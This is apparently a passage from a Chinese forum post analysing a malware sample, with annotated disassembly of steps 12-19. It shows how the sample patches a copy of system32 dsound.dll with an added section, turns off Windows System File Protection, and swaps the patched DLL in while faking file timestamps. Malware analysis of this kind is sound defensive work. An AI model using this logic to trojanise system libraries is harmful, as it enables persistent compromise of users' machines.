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是昔流芳
发表于 2011-7-29 21:04
12.将%windir%\system32\dsound.dll备份为%windir%\system32\New.dll,读取相关数据,为Patch New.dll做准备00401DC0 $ 55 push ebp
00401DC1 . 8BEC mov ebp, esp
00401DC3 . 81EC 98030000 sub esp, 398
00401DC9 . 53 push ebx
00401DCA . 56 push esi
00401DCB . 57 push edi
00401DCC . C685 6CFCFFFF>mov byte ptr [ebp-394], 0
00401DD3 . B9 3F000000 mov ecx, 3F
00401DD8 . 33C0 xor eax, eax
00401DDA . 8DBD 6DFCFFFF lea edi, dword ptr [ebp-393]
00401DE0 . F3:AB rep stos dword ptr es:[edi]
00401DE2 . 66:AB stos word ptr es:[edi]
00401DE4 . AA stos byte ptr es:[edi]
00401DE5 . 68 00010000 push 100
00401DEA . 8D85 6CFCFFFF lea eax, dword ptr [ebp-394]
00401DF0 . 50 push eax
00401DF1 . FF15 7C304000 call dword ptr [<&KERNEL32.GetSystemD>
00401DF7 . BF 90404000 mov edi, 00404090
00401DFC . 8D95 6CFCFFFF lea edx, dword ptr [ebp-394]
00401E02 . 83C9 FF or ecx, FFFFFFFF
00401E05 . 33C0 xor eax, eax
00401E07 . F2:AE repne scas byte ptr es:[edi]
00401E09 . F7D1 not ecx
00401E0B . 2BF9 sub edi, ecx
00401E0D . 8BF7 mov esi, edi
00401E0F . 8BD9 mov ebx, ecx
00401E11 . 8BFA mov edi, edx
00401E13 . 83C9 FF or ecx, FFFFFFFF
00401E16 . 33C0 xor eax, eax
00401E18 . F2:AE repne scas byte ptr es:[edi]
00401E1A . 83C7 FF add edi, -1
00401E1D . 8BCB mov ecx, ebx
00401E1F . C1E9 02 shr ecx, 2
00401E22 . F3:A5 rep movs dword ptr es:[edi], dword p>
00401E24 . 8BCB mov ecx, ebx
00401E26 . 83E1 03 and ecx, 3
00401E29 . F3:A4 rep movs byte ptr es:[edi], byte ptr>
00401E2B . BF BC404000 mov edi, 004040BC
00401E30 . 8D95 6CFCFFFF lea edx, dword ptr [ebp-394]
00401E36 . 83C9 FF or ecx, FFFFFFFF
00401E39 . 33C0 xor eax, eax
00401E3B . F2:AE repne scas byte ptr es:[edi]
00401E3D . F7D1 not ecx
00401E3F . 2BF9 sub edi, ecx
00401E41 . 8BF7 mov esi, edi
00401E43 . 8BD9 mov ebx, ecx
00401E45 . 8BFA mov edi, edx
00401E47 . 83C9 FF or ecx, FFFFFFFF
00401E4A . 33C0 xor eax, eax
00401E4C . F2:AE repne scas byte ptr es:[edi]
00401E4E . 83C7 FF add edi, -1
00401E51 . 8BCB mov ecx, ebx
00401E53 . C1E9 02 shr ecx, 2
00401E56 . F3:A5 rep movs dword ptr es:[edi], dword p>
00401E58 . 8BCB mov ecx, ebx
00401E5A . 83E1 03 and ecx, 3
00401E5D . F3:A4 rep movs byte ptr es:[edi], byte ptr>
00401E5F . 6A 00 push 0
00401E61 . 8D85 6CFCFFFF lea eax, dword ptr [ebp-394]
00401E67 . 50 push eax
00401E68 . 8B4D 08 mov ecx, dword ptr [ebp+8]
00401E6B . 51 push ecx
00401E6C . FF15 70304000 call dword ptr [<&KERNEL32.CopyFileA>>
00401E72 . 85C0 test eax, eax
00401E74 . 75 15 jnz short 00401E8B
00401E76 . 68 AC404000 push 004040AC
00401E7B . FF15 9C304000 call dword ptr [<&MSVCRT.printf>]
00401E81 . 83C4 04 add esp, 4
00401E84 . 33C0 xor eax, eax
00401E86 . E9 DE070000 jmp 00402669
00401E8B > 6A 00 push 0
00401E8D . 6A 00 push 0
00401E8F . 6A 03 push 3
00401E91 . 6A 00 push 0
00401E93 . 6A 01 push 1
00401E95 . 68 00000080 push 80000000
00401E9A . 8B55 08 mov edx, dword ptr [ebp+8]
00401E9D . 52 push edx
00401E9E . FF15 08304000 call dword ptr [<&KERNEL32.CreateFile>
00401EA4 . 8985 7CFDFFFF mov dword ptr [ebp-284], eax
00401EAA . 6A 00 push 0
00401EAC . 6A 00 push 0
00401EAE . 6A 3C push 3C
00401EB0 . 8B85 7CFDFFFF mov eax, dword ptr [ebp-284]
00401EB6 . 50 push eax
00401EB7 . FF15 28304000 call dword ptr [<&KERNEL32.SetFilePoi>
00401EBD . C785 90FDFFFF>mov dword ptr [ebp-270], 0
00401EC7 . 6A 00 push 0
00401EC9 . 8D8D C8FDFFFF lea ecx, dword ptr [ebp-238]
00401ECF . 51 push ecx
00401ED0 . 6A 04 push 4
00401ED2 . 8D95 90FDFFFF lea edx, dword ptr [ebp-270]
00401ED8 . 52 push edx
00401ED9 . 8B85 7CFDFFFF mov eax, dword ptr [ebp-284]
00401EDF . 50 push eax
00401EE0 . FF15 24304000 call dword ptr [<&KERNEL32.ReadFile>]
00401EE6 . 6A 00 push 0
00401EE8 . 6A 00 push 0
00401EEA . 8B8D 90FDFFFF mov ecx, dword ptr [ebp-270]
00401EF0 . 51 push ecx
00401EF1 . 8B95 7CFDFFFF mov edx, dword ptr [ebp-284]
00401EF7 . 52 push edx
00401EF8 . FF15 28304000 call dword ptr [<&KERNEL32.SetFilePoi>
00401EFE . 6A 00 push 0
00401F00 . 8D85 C8FDFFFF lea eax, dword ptr [ebp-238]
00401F06 . 50 push eax
00401F07 . 68 F8000000 push 0F8
00401F0C . 8D8D DCFDFFFF lea ecx, dword ptr [ebp-224]
00401F12 . 51 push ecx
00401F13 . 8B95 7CFDFFFF mov edx, dword ptr [ebp-284]
00401F19 . 52 push edx
00401F1A . FF15 24304000 call dword ptr [<&KERNEL32.ReadFile>]
00401F20 . 8B85 E2FDFFFF mov eax, dword ptr [ebp-21E]
00401F26 . 25 FFFF0000 and eax, 0FFFF
00401F2B . 8985 6CFDFFFF mov dword ptr [ebp-294], eax
00401F31 . 8B8D 04FEFFFF mov ecx, dword ptr [ebp-1FC]
00401F37 . 898D 80FDFFFF mov dword ptr [ebp-280], ecx
00401F3D . 8B95 14FEFFFF mov edx, dword ptr [ebp-1EC]
00401F43 . 8995 68FCFFFF mov dword ptr [ebp-398], edx
00401F49 . 8B85 18FEFFFF mov eax, dword ptr [ebp-1E8]
00401F4F . 8985 8CFDFFFF mov dword ptr [ebp-274], eax
00401F55 . B9 0A000000 mov ecx, 0A
00401F5A . 33C0 xor eax, eax
00401F5C . 8D7D D8 lea edi, dword ptr [ebp-28]
00401F5F . F3:AB rep stos dword ptr es:[edi]
00401F61 . 6A 00 push 0
00401F63 . 6A 00 push 0
00401F65 . 8B8D 90FDFFFF mov ecx, dword ptr [ebp-270]
00401F6B . 81C1 F8000000 add ecx, 0F8
00401F71 . 51 push ecx
00401F72 . 8B95 7CFDFFFF mov edx, dword ptr [ebp-284]
00401F78 . 52 push edx
00401F79 . FF15 28304000 call dword ptr [<&KERNEL32.SetFilePoi>
00401F7F . C785 94FDFFFF>mov dword ptr [ebp-26C], 0
00401F89 . EB 0F jmp short 00401F9A
00401F8B > 8B85 94FDFFFF mov eax, dword ptr [ebp-26C]
00401F91 . 83C0 01 add eax, 1
00401F94 . 8985 94FDFFFF mov dword ptr [ebp-26C], eax
00401F9A > 8B8D 94FDFFFF mov ecx, dword ptr [ebp-26C]
00401FA0 . 3B8D 6CFDFFFF cmp ecx, dword ptr [ebp-294]
00401FA6 . 7D 21 jge short 00401FC9
00401FA8 . 6A 00 push 0
00401FAA . 8D95 C8FDFFFF lea edx, dword ptr [ebp-238]
00401FB0 . 52 push edx
00401FB1 . 6A 28 push 28
00401FB3 . 8D85 98FDFFFF lea eax, dword ptr [ebp-268]
00401FB9 . 50 push eax
00401FBA . 8B8D 7CFDFFFF mov ecx, dword ptr [ebp-284]
00401FC0 . 51 push ecx
00401FC1 . FF15 24304000 call dword ptr [<&KERNEL32.ReadFile>]
00401FC7 .^ EB C2 jmp short 00401F8B
00401FC9 > 6A 00 push 0
00401FCB . 6A 00 push 0
00401FCD . 6A 03 push 3
00401FCF . 6A 00 push 0
00401FD1 . 6A 01 push 1
00401FD3 . 6A 03 push 3
00401FD5 . 8D95 6CFCFFFF lea edx, dword ptr [ebp-394]
00401FDB . 52 push edx
00401FDC . FF15 08304000 call dword ptr [<&KERNEL32.CreateFile>
00401FE2 . 8985 D4FEFFFF mov dword ptr [ebp-12C], eax
00401FE8 . 83BD D4FEFFFF>cmp dword ptr [ebp-12C], -1
00401FEF . 75 14 jnz short 00402005
00401FF1 . 8B85 7CFDFFFF mov eax, dword ptr [ebp-284]
00401FF7 . 50 push eax
00401FF8 . FF15 00304000 call dword ptr [<&KERNEL32.CloseHandl>; \CloseHandle
00401FFE . 33C0 xor eax, eax
00402000 . E9 64060000 jmp 00402669
00402005 > E9 5A060000 jmp 00402664
13.Patch New.dll00402161 > /8D05 0A204000 lea eax, dword ptr [40200A]
00402167 . |8985 D8FDFFFF mov dword ptr [ebp-228], eax
0040216D . |8D1D 41214000 lea ebx, dword ptr [402141]
00402173 . |2BD8 sub ebx, eax
00402175 . |899D 70FDFFFF mov dword ptr [ebp-290], ebx
0040217B . |8D05 0A204000 lea eax, dword ptr [40200A]
00402181 . |8D1D 1E214000 lea ebx, dword ptr [40211E]
00402187 . |2BD8 sub ebx, eax
00402189 . |899D 88FDFFFF mov dword ptr [ebp-278], ebx
0040218F . |6A 02 push 2
00402191 . |6A 00 push 0
00402193 . |6A 00 push 0
00402195 . |8B8D D4FEFFFF mov ecx, dword ptr [ebp-12C]
0040219B . |51 push ecx
0040219C . |FF15 28304000 call dword ptr [<&KERNEL32.SetFilePoi>
004021A2 . |C785 94FDFFFF>mov dword ptr [ebp-26C], 0
004021AC . |EB 0F jmp short 004021BD
004021AE > |8B95 94FDFFFF mov edx, dword ptr [ebp-26C]
004021B4 . |83C2 01 add edx, 1
004021B7 . |8995 94FDFFFF mov dword ptr [ebp-26C], edx
004021BD > |8B85 94FDFFFF mov eax, dword ptr [ebp-26C]
004021C3 . |3B85 70FDFFFF cmp eax, dword ptr [ebp-290]
004021C9 . |7D 27 jge short 004021F2
004021CB . |6A 00 push 0
004021CD . |8D8D C0FDFFFF lea ecx, dword ptr [ebp-240]
004021D3 . |51 push ecx
004021D4 . |6A 01 push 1
004021D6 . |8B95 D8FDFFFF mov edx, dword ptr [ebp-228]
004021DC . |0395 94FDFFFF add edx, dword ptr [ebp-26C]
004021E2 . |52 push edx
004021E3 . |8B85 D4FEFFFF mov eax, dword ptr [ebp-12C]
004021E9 . |50 push eax
004021EA . |FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
004021F0 .^|EB BC jmp short 004021AE
14.连续在New.dll尾部写入数据.00402237 . 6A 00 push 0
00402239 . 8D8D C0FDFFFF lea ecx, dword ptr [ebp-240]
0040223F . 51 push ecx
00402240 . 6A 04 push 4
00402242 . 8D95 80FDFFFF lea edx, dword ptr [ebp-280]
00402248 . 52 push edx
00402249 . 8B85 D4FEFFFF mov eax, dword ptr [ebp-12C]
0040224F . 50 push eax
00402250 . FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
00402256 . 6A 00 push 0
00402258 . 8D8D C0FDFFFF lea ecx, dword ptr [ebp-240]
0040225E . 51 push ecx
0040225F . 6A 04 push 4
00402261 . 8D95 C4FDFFFF lea edx, dword ptr [ebp-23C]
00402267 . 52 push edx
00402268 . 8B85 D4FEFFFF mov eax, dword ptr [ebp-12C]
0040226E . 50 push eax
0040226F . FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
00402275 . 6A 00 push 0
00402277 . 8D8D C0FDFFFF lea ecx, dword ptr [ebp-240]
0040227D . 51 push ecx
0040227E . 6A 04 push 4
00402280 . 8D95 C4FDFFFF lea edx, dword ptr [ebp-23C]
00402286 . 52 push edx
00402287 . 8B85 D4FEFFFF mov eax, dword ptr [ebp-12C]
0040228D . 50 push eax
0040228E . FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
00402294 . 6A 00 push 0
00402296 . 8D8D C0FDFFFF lea ecx, dword ptr [ebp-240]
0040229C . 51 push ecx
0040229D . 6A 04 push 4
0040229F . 8D95 C4FDFFFF lea edx, dword ptr [ebp-23C]
004022A5 . 52 push edx
004022A6 . 8B85 D4FEFFFF mov eax, dword ptr [ebp-12C]
004022AC . 50 push eax
004022AD . FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
004022B3 . 6A 00 push 0
004022B5 . 8D8D C0FDFFFF lea ecx, dword ptr [ebp-240]
004022BB . 51 push ecx
004022BC . 6A 04 push 4
004022BE . 8D95 C4FDFFFF lea edx, dword ptr [ebp-23C]
004022C4 . 52 push edx
004022C5 . 8B85 D4FEFFFF mov eax, dword ptr [ebp-12C]
004022CB . 50 push eax
004022CC . FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
004022D2 . 6A 00 push 0
004022D4 . 8D8D C0FDFFFF lea ecx, dword ptr [ebp-240]
004022DA . 51 push ecx
004022DB . 6A 04 push 4
004022DD . 8D95 C4FDFFFF lea edx, dword ptr [ebp-23C]
004022E3 . 52 push edx
004022E4 . 8B85 D4FEFFFF mov eax, dword ptr [ebp-12C]
004022EA . 50 push eax
004022EB . FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
15.将形如[1001,1028]的整形数据写入New.dll尾部.0040232A > /8B8D 94FDFFFF mov ecx, dword ptr [ebp-26C]
00402330 . |83C1 01 add ecx, 1
00402333 . |898D 94FDFFFF mov dword ptr [ebp-26C], ecx
00402339 > |83BD 94FDFFFF>cmp dword ptr [ebp-26C], 28
00402340 . |0F8F 82000000 jg 004023C8
00402346 . |8B95 94FDFFFF mov edx, dword ptr [ebp-26C]
0040234C . |81C2 00100000 add edx, 1000
00402352 . |52 push edx
00402353 . |68 A4404000 push 004040A4
00402358 . |8D85 CCFDFFFF lea eax, dword ptr [ebp-234]
0040235E . |50 push eax
0040235F . |FF15 A0304000 call dword ptr [<&MSVCRT.sprintf>]
00402365 . |83C4 0C add esp, 0C
00402368 . |6A 00 push 0
0040236A . |8D8D C0FDFFFF lea ecx, dword ptr [ebp-240]
00402370 . |51 push ecx
00402371 . |6A 04 push 4
00402373 . |8D95 CCFDFFFF lea edx, dword ptr [ebp-234]
00402379 . |52 push edx
0040237A . |8B85 D4FEFFFF mov eax, dword ptr [ebp-12C]
00402380 . |50 push eax
00402381 . |FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
00402387 . |6A 00 push 0
00402389 . |8D8D C0FDFFFF lea ecx, dword ptr [ebp-240]
0040238F . |51 push ecx
00402390 . |6A 04 push 4
00402392 . |8D95 D4FDFFFF lea edx, dword ptr [ebp-22C]
00402398 . |52 push edx
00402399 . |8B85 D4FEFFFF mov eax, dword ptr [ebp-12C]
0040239F . |50 push eax
004023A0 . |FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
004023A6 . |6A 00 push 0
004023A8 . |8D8D C0FDFFFF lea ecx, dword ptr [ebp-240]
004023AE . |51 push ecx
004023AF . |6A 08 push 8
004023B1 . |68 A4424000 push 004042A4
004023B6 . |8B95 D4FEFFFF mov edx, dword ptr [ebp-12C]
004023BC . |52 push edx
004023BD . |FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
004023C3 .^\E9 62FFFFFF jmp 0040232A
16.新建一个区段.data2,并修改NumberOfSections.004023C8 > C785 94FDFFFF>mov dword ptr [ebp-26C], 0
004023D2 . EB 0F jmp short 004023E3
004023D4 > 8B85 94FDFFFF mov eax, dword ptr [ebp-26C]
004023DA . 83C0 01 add eax, 1
004023DD . 8985 94FDFFFF mov dword ptr [ebp-26C], eax
004023E3 > 8B8D 8CFDFFFF mov ecx, dword ptr [ebp-274]
004023E9 . 51 push ecx
004023EA . 8B95 70FDFFFF mov edx, dword ptr [ebp-290]
004023F0 . 52 push edx
004023F1 . E8 FAEFFFFF call 004013F0
004023F6 . 83C4 08 add esp, 8
004023F9 . D1E0 shl eax, 1
004023FB . 2B85 70FDFFFF sub eax, dword ptr [ebp-290]
00402401 . 83E8 20 sub eax, 20
00402404 . 3985 94FDFFFF cmp dword ptr [ebp-26C], eax
0040240A . 7D 1F jge short 0040242B
0040240C . 6A 00 push 0
0040240E . 8D85 C0FDFFFF lea eax, dword ptr [ebp-240]
00402414 . 50 push eax
00402415 . 6A 02 push 2
00402417 . 68 A0424000 push 004042A0
0040241C . 8B8D D4FEFFFF mov ecx, dword ptr [ebp-12C]
00402422 . 51 push ecx
00402423 . FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
00402429 .^ EB A9 jmp short 004023D4
0040242B > BF 50404000 mov edi, 00404050
00402430 . 8D55 D8 lea edx, dword ptr [ebp-28]
00402433 . 83C9 FF or ecx, FFFFFFFF
00402436 . 33C0 xor eax, eax
00402438 . F2:AE repne scas byte ptr es:[edi]
0040243A . F7D1 not ecx
0040243C . 2BF9 sub edi, ecx
0040243E . 8BF7 mov esi, edi
00402440 . 8BC1 mov eax, ecx
00402442 . 8BFA mov edi, edx
00402444 . C1E9 02 shr ecx, 2
00402447 . F3:A5 rep movs dword ptr es:[edi], dword p>
00402449 . 8BC8 mov ecx, eax
0040244B . 83E1 03 and ecx, 3
0040244E . F3:A4 rep movs byte ptr es:[edi], byte ptr>
00402450 . 8B8D ACFDFFFF mov ecx, dword ptr [ebp-254]
00402456 . 038D A8FDFFFF add ecx, dword ptr [ebp-258]
0040245C . 894D EC mov dword ptr [ebp-14], ecx
0040245F . 8B95 68FCFFFF mov edx, dword ptr [ebp-398]
00402465 . 52 push edx
00402466 . 8B85 70FDFFFF mov eax, dword ptr [ebp-290]
0040246C . 50 push eax
0040246D . E8 7EEFFFFF call 004013F0
00402472 . 83C4 08 add esp, 8
00402475 . 8945 E0 mov dword ptr [ebp-20], eax
00402478 . 8B8D 8CFDFFFF mov ecx, dword ptr [ebp-274]
0040247E . 51 push ecx
0040247F . 8B95 70FDFFFF mov edx, dword ptr [ebp-290]
00402485 . 52 push edx
00402486 . E8 65EFFFFF call 004013F0
0040248B . 83C4 08 add esp, 8
0040248E . D1E0 shl eax, 1
00402490 . 8945 E8 mov dword ptr [ebp-18], eax
00402493 . C745 FC 60000>mov dword ptr [ebp-4], E0000060
0040249A . 6A 00 push 0
0040249C . 6A 00 push 0
0040249E . 8B85 6CFDFFFF mov eax, dword ptr [ebp-294]
004024A4 . 6BC0 28 imul eax, eax, 28
004024A7 . 8B8D 90FDFFFF mov ecx, dword ptr [ebp-270]
004024AD . 8D9401 F80000>lea edx, dword ptr [ecx+eax+F8]
004024B4 . 52 push edx
004024B5 . 8B85 D4FEFFFF mov eax, dword ptr [ebp-12C]
004024BB . 50 push eax
004024BC . FF15 28304000 call dword ptr [<&KERNEL32.SetFilePoi>
004024C2 . 6A 00 push 0
004024C4 . 8D8D C0FDFFFF lea ecx, dword ptr [ebp-240]
004024CA . 51 push ecx
004024CB . 6A 28 push 28
004024CD . 8D55 D8 lea edx, dword ptr [ebp-28]
004024D0 . 52 push edx
004024D1 . 8B85 D4FEFFFF mov eax, dword ptr [ebp-12C]
004024D7 . 50 push eax
004024D8 . FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
004024DE . 8B8D 68FCFFFF mov ecx, dword ptr [ebp-398]
004024E4 . 51 push ecx
004024E5 . 8B95 70FDFFFF mov edx, dword ptr [ebp-290]
004024EB . 52 push edx
004024EC . E8 FFEEFFFF call 004013F0
004024F1 . 83C4 08 add esp, 8
004024F4 . 8B8D 2CFEFFFF mov ecx, dword ptr [ebp-1D4]
004024FA . 03C8 add ecx, eax
004024FC . 898D 84FDFFFF mov dword ptr [ebp-27C], ecx
00402502 . 8B95 8CFDFFFF mov edx, dword ptr [ebp-274]
00402508 . 52 push edx
00402509 . 8B85 70FDFFFF mov eax, dword ptr [ebp-290]
0040250F . 50 push eax
00402510 . E8 DBEEFFFF call 004013F0
00402515 . 83C4 08 add esp, 8
00402518 . 8B8D F8FDFFFF mov ecx, dword ptr [ebp-208]
0040251E . 8D1441 lea edx, dword ptr [ecx+eax*2]
00402521 . 8995 74FDFFFF mov dword ptr [ebp-28C], edx
00402527 . 6A 00 push 0
00402529 . 6A 00 push 0
0040252B . 8B85 90FDFFFF mov eax, dword ptr [ebp-270]
00402531 . 50 push eax
00402532 . 8B8D D4FEFFFF mov ecx, dword ptr [ebp-12C]
00402538 . 51 push ecx
00402539 . FF15 28304000 call dword ptr [<&KERNEL32.SetFilePoi>
0040253F . C785 ACFEFFFF>mov dword ptr [ebp-154], 0
00402549 . C785 B0FEFFFF>mov dword ptr [ebp-150], 0
00402553 . 8B95 74FDFFFF mov edx, dword ptr [ebp-28C]
00402559 . 8995 F8FDFFFF mov dword ptr [ebp-208], edx
0040255F . 8B85 84FDFFFF mov eax, dword ptr [ebp-27C]
00402565 . 8985 2CFEFFFF mov dword ptr [ebp-1D4], eax
0040256B . 8B8D 6CFDFFFF mov ecx, dword ptr [ebp-294]
00402571 . 83C1 01 add ecx, 1
00402574 . 66:898D E2FDF>mov word ptr [ebp-21E], cx
0040257B . 8B55 E4 mov edx, dword ptr [ebp-1C]
0040257E . 8995 04FEFFFF mov dword ptr [ebp-1FC], edx
00402584 . 6A 00 push 0
00402586 . 8D85 C0FDFFFF lea eax, dword ptr [ebp-240]
0040258C . 50 push eax
0040258D . 68 F8000000 push 0F8
00402592 . 8D8D DCFDFFFF lea ecx, dword ptr [ebp-224]
00402598 . 51 push ecx
00402599 . 8B95 D4FEFFFF mov edx, dword ptr [ebp-12C]
0040259F . 52 push edx
004025A0 . FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
004025A6 . 68 94404000 push 00404094
004025AB . FF15 9C304000 call dword ptr [<&MSVCRT.printf>]
004025B1 . 83C4 04 add esp, 4
004025B4 . 6A 02 push 2
004025B6 . 6A 00 push 0
004025B8 . 6A 00 push 0
004025BA . 8B85 D4FEFFFF mov eax, dword ptr [ebp-12C]
004025C0 . 50 push eax
004025C1 . FF15 28304000 call dword ptr [<&KERNEL32.SetFilePoi>
004025C7 . C785 78FDFFFF>mov dword ptr [ebp-288], 1
004025D1 . 6A 00 push 0
004025D3 . 8D8D C0FDFFFF lea ecx, dword ptr [ebp-240]
004025D9 . 51 push ecx
004025DA . 6A 04 push 4
004025DC . 8D95 78FDFFFF lea edx, dword ptr [ebp-288]
004025E2 . 52 push edx
004025E3 . 8B85 D4FEFFFF mov eax, dword ptr [ebp-12C]
004025E9 . 50 push eax
004025EA . FF15 04304000 call dword ptr [<&KERNEL32.WriteFile>>
004025F0 . 8B8D 7CFDFFFF mov ecx, dword ptr [ebp-284]
004025F6 . 51 push ecx
004025F7 . FF15 00304000 call dword ptr [<&KERNEL32.CloseHandl>
004025FD . 8B95 D4FEFFFF mov edx, dword ptr [ebp-12C]
00402603 . 52 push edx
00402604 . FF15 00304000 call dword ptr [<&KERNEL32.CloseHandl>
17.关闭系统文件保护.00401410 $ 55 push ebp
00401411 . 8BEC mov ebp, esp
00401413 . 6A FF push -1
00401415 . 68 B8304000 push 004030B8
0040141A . 68 902B4000 push <jmp.&MSVCRT._except_handler3>
0040141F . 64:A1 0000000>mov eax, dword ptr fs:[0]
00401425 . 50 push eax
00401426 . 64:8925 00000>mov dword ptr fs:[0], esp
0040142D . 81EC 20020000 sub esp, 220
00401433 . 53 push ebx
00401434 . 56 push esi
00401435 . 57 push edi
00401436 . 8965 E8 mov dword ptr [ebp-18], esp
00401439 . A1 44404000 mov eax, dword ptr [404044]
0040143E . 8985 D0FDFFFF mov dword ptr [ebp-230], eax
00401444 . 8B0D 48404000 mov ecx, dword ptr [404048]
0040144A . 898D D4FDFFFF mov dword ptr [ebp-22C], ecx
00401450 . 66:8B15 4C404>mov dx, word ptr [40404C]
00401457 . 66:8995 D8FDF>mov word ptr [ebp-228], dx
0040145E . A0 4E404000 mov al, byte ptr [40404E]
00401463 . 8885 DAFDFFFF mov byte ptr [ebp-226], al
00401469 . 8D8D D0FDFFFF lea ecx, dword ptr [ebp-230]
0040146F . 51 push ecx
00401470 . FF15 60304000 call dword ptr [<&KERNEL32.LoadLibrar>
00401476 . 8BF0 mov esi, eax
00401478 . 8975 E4 mov dword ptr [ebp-1C], esi
0040147B . 33DB xor ebx, ebx
0040147D . 3BF3 cmp esi, ebx
0040147F . 74 76 je short 004014F7
00401481 . 66:899D DCFDF>mov word ptr [ebp-224], bx
00401488 . B9 80000000 mov ecx, 80
0040148D . 33C0 xor eax, eax
0040148F . 8DBD DEFDFFFF lea edi, dword ptr [ebp-222]
00401495 . F3:AB rep stos dword ptr es:[edi]
00401497 . 66:AB stos word ptr es:[edi]
00401499 . 68 02010000 push 102
0040149E . 8D95 DCFDFFFF lea edx, dword ptr [ebp-224]
004014A4 . 52 push edx
004014A5 . 8B55 08 mov edx, dword ptr [ebp+8]
004014A8 . 8BFA mov edi, edx
004014AA . 83C9 FF or ecx, FFFFFFFF
004014AD . 33C0 xor eax, eax
004014AF . F2:AE repne scas byte ptr es:[edi]
004014B1 . F7D1 not ecx
004014B3 . 49 dec ecx
004014B4 . 51 push ecx
004014B5 . 52 push edx
004014B6 . 53 push ebx
004014B7 . 53 push ebx
004014B8 . FF15 5C304000 call dword ptr [<&KERNEL32.MultiByteT>
004014BE . 6A 05 push 5
004014C0 . 56 push esi
004014C1 . FF15 58304000 call dword ptr [<&KERNEL32.GetProcAdd>
004014C7 . 895D FC mov dword ptr [ebp-4], ebx
004014CA . 6A FF push -1
004014CC . 8D8D DCFDFFFF lea ecx, dword ptr [ebp-224]
004014D2 . 51 push ecx
004014D3 . 53 push ebx
004014D4 . FFD0 call eax
004014D6 . C745 FC FFFFF>mov dword ptr [ebp-4], -1
004014DD . EB 11 jmp short 004014F0
004014DF . 83C8 FF or eax, FFFFFFFF
004014E2 . C3 retn
004014E3 . 8B65 E8 mov esp, dword ptr [ebp-18]
004014E6 . C745 FC FFFFF>mov dword ptr [ebp-4], -1
004014ED . 8B75 E4 mov esi, dword ptr [ebp-1C]
004014F0 > 56 push esi
004014F1 . FF15 54304000 call dword ptr [<&KERNEL32.FreeLibrar>
004014F7 > 8B4D F0 mov ecx, dword ptr [ebp-10]
004014FA . 64:890D 00000>mov dword ptr fs:[0], ecx
00401501 . 5F pop edi
00401502 . 5E pop esi
00401503 . 5B pop ebx
00401504 . 8BE5 mov esp, ebp
00401506 . 5D pop ebp
00401507 . C3 retn
18.在dsound.dll文件名后面加上.开机时间数0040260A . C685 D8FEFFFF>mov byte ptr [ebp-128], 0
00402611 . B9 3F000000 mov ecx, 3F
00402616 . 33C0 xor eax, eax
00402618 . 8DBD D9FEFFFF lea edi, dword ptr [ebp-127]
0040261E . F3:AB rep stos dword ptr es:[edi]
00402620 . 66:AB stos word ptr es:[edi]
00402622 . AA stos byte ptr es:[edi]
00402623 . FF15 78304000 call dword ptr [<&KERNEL32.GetTickCou>
00402629 . 50 push eax
0040262A . 8B45 08 mov eax, dword ptr [ebp+8]
0040262D . 50 push eax
0040262E . 68 74404000 push 00404074
00402633 . 8D8D D8FEFFFF lea ecx, dword ptr [ebp-128]
00402639 . 51 push ecx
0040263A . FF15 A0304000 call dword ptr [<&MSVCRT.sprintf>]
19.备份dsound.dll,将New.dll复制为dsound.dll,伪装现在的dsound.dll004015C0 /$ 56 push esi
004015C1 |. 8B7424 08 mov esi, dword ptr [esp+8]
004015C5 |. 57 push edi
004015C6 |. 56 push esi
004015C7 |. E8 44FEFFFF call 00401410
004015CC |. 8B7C24 18 mov edi, dword ptr [esp+18]
004015D0 |. 83C4 04 add esp, 4
004015D3 |. 6A 01 push 1
004015D5 |. 57 push edi
004015D6 |. 56 push esi
004015D7 |. FF15 74304000 call dword ptr [<&KERNEL32.MoveFileEx>
004015DD |. 8B4424 10 mov eax, dword ptr [esp+10]
004015E1 |. 6A 00 push 0
004015E3 |. 56 push esi
004015E4 |. 50 push eax
004015E5 |. FF15 70304000 call dword ptr [<&KERNEL32.CopyFileA>>
004015EB |. 56 push esi
004015EC |. 57 push edi
004015ED |. E8 1EFFFFFF call 00401510
004015F2 |. 83C4 08 add esp, 8
004015F5 |. 5F pop edi
004015F6 |. 5E pop esi
004015F7 \. C3 retn
00401510 /$ 83EC 18 sub esp, 18
00401513 |. 53 push ebx
00401514 |. 8B4424 20 mov eax, dword ptr [esp+20]
00401518 |. 56 push esi
00401519 |. 33F6 xor esi, esi
0040151B |. 8B1D 08304000 mov ebx, dword ptr [<&KERNEL32.Creat>
00401521 |. 57 push edi
00401522 |. 56 push esi
00401523 |. 68 80000000 push 80
00401528 |. 6A 03 push 3
0040152A |. 56 push esi
0040152B |. 6A 01 push 1
0040152D |. 68 00000080 push 80000000
00401532 |. 50 push eax
00401533 |. FFD3 call ebx
00401535 |. 8B4C24 2C mov ecx, dword ptr [esp+2C]
00401539 |. 56 push esi
0040153A |. 68 80000000 push 80
0040153F |. 6A 03 push 3
00401541 |. 56 push esi
00401542 |. 6A 01 push 1
00401544 |. 68 00000010 push 10000000
00401549 |. 51 push ecx
0040154A |. 8BF8 mov edi, eax
0040154C |. FFD3 call ebx
0040154E |. 8BD8 mov ebx, eax
00401550 |. 8D5424 0C lea edx, dword ptr [esp+C]
00401554 |. 8D4424 14 lea eax, dword ptr [esp+14]
00401558 |. 52 push edx
00401559 |. 8D4C24 20 lea ecx, dword ptr [esp+20]
0040155D |. 50 push eax
0040155E |. 51 push ecx
0040155F |. 57 push edi
00401560 |. 897424 2C mov dword ptr [esp+2C], esi
00401564 |. 897424 30 mov dword ptr [esp+30], esi
00401568 |. 897424 24 mov dword ptr [esp+24], esi
0040156C |. 897424 28 mov dword ptr [esp+28], esi
00401570 |. 897424 1C mov dword ptr [esp+1C], esi
00401574 |. 897424 20 mov dword ptr [esp+20], esi
00401578 |. FF15 6C304000 call dword ptr [<&KERNEL32.GetFileTim>
0040157E |. 8D5424 0C lea edx, dword ptr [esp+C]
00401582 |. 8D4424 14 lea eax, dword ptr [esp+14]
